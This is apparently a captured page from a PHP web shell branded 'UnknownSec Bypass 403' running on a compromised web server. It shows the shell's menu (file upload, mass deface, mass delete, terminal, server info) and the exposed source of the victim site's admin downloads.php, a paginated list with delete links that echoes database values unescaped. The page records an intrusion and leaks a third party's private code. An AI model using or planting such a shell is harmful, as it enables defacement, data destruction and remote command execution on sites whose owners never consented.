UnknownSec Bypass
403
:
/
var
/
www
/
html
/
adminpnl
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
downloads.php
<?php include "top.php";?> <section class="w3l-contact-main"> <div class="contact-infhny py-5"> <div class="container py-lg-3"> <div class="row align-form-map"> <div class="col-lg-9 title-content text-left mb-lg-4 mb-4"> <h4 class="hny-title mb-3">List of <span>Downloads</span></h4> </div> <div class="col-lg-3" align="right"> <a class="btn btn-contact" href="add_downloads.php">ADD FILE</a> </div> <div class="col-lg-12 form-inner-cont"> <?php include "../config.php"; $limit=25; if(isset($_GET['page'])){ $page=$_GET['page']; }else{ $page=1; } $offset= ($page-1)*$limit; $sql="SELECT * FROM downloadstb ORDER BY id LIMIT {$offset},{$limit}"; $result=mysqli_query($conn,$sql) or die("Query Failed."); if(mysqli_num_rows($result)>0){ ?> <table class="table table-bordered"> <thead> <tr> <th scope="col">ID</th> <th scope="col">DOWNLOADS TITLE</th> <th scope="col">ADDED ON</th> <!-- <th scope="col">VIEW</th> <th scope="col">EDIT</th> --> <th scope="col">DELETE</th> </tr> </thead> <tbody> <?php while ($row = mysqli_fetch_assoc($result)) { ?> <tr id="<?php echo $row['id'] ?>"> <td class='id'><?php echo $row['id']; ?></td> <td><?php echo $row['downloadstitle']; ?></td> <td><?php echo $row['added_on']; ?></td> <!-- <td class='edit'><a href='downloads/<?php echo $row["file_name"]; ?>' target="_blank"><i class='fa fa-eye'></i></a></td> <td class='edit'><a href='update_downloads.php?id=<?php echo $row["id"]; ?>'><i class='fa fa-edit'></i></a></td> --> <td class='delete'><a href='delete_downloads.php?id=<?php echo $row["id"]; ?>&fname=<?php echo $row["file_name"]; ?>' onclick="return confirm('Are you sure you want to Delete?');"><i class='fa fa-trash'></i></a></td> </tr> <?php } ?> </tbody> </table> <?php } $sql1="SELECT * FROM downloadstb"; $result1=mysqli_query($conn,$sql1) or die("Query Failed."); if(mysqli_num_rows($result1)>0){ $total_record=mysqli_num_rows($result1); $total_page= ceil($total_record/$limit); echo "<ul class='pagination admin-pagination'>"; if($page > 1){ echo '<li><a class="btn btn-style" href="downloads.php?page='.($page - 1).'">Prev</a></li>'; } for($i=1; $i<=$total_page; $i++){ if($i==$page) { $active="active"; }else { $active=""; } echo '<li class="'. $active .'"><a class="btn btn-style" href="downloads.php?page=' .$i. '">' .$i. '</a></li>'; } if($total_page>$page){ echo '<li><a class="btn btn-style" href="downloads.php?page='.($page + 1).'">Next</a></li>'; } echo "</ul>"; } ?> </div> </div> </div> </section> <!-- //contact-form --> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec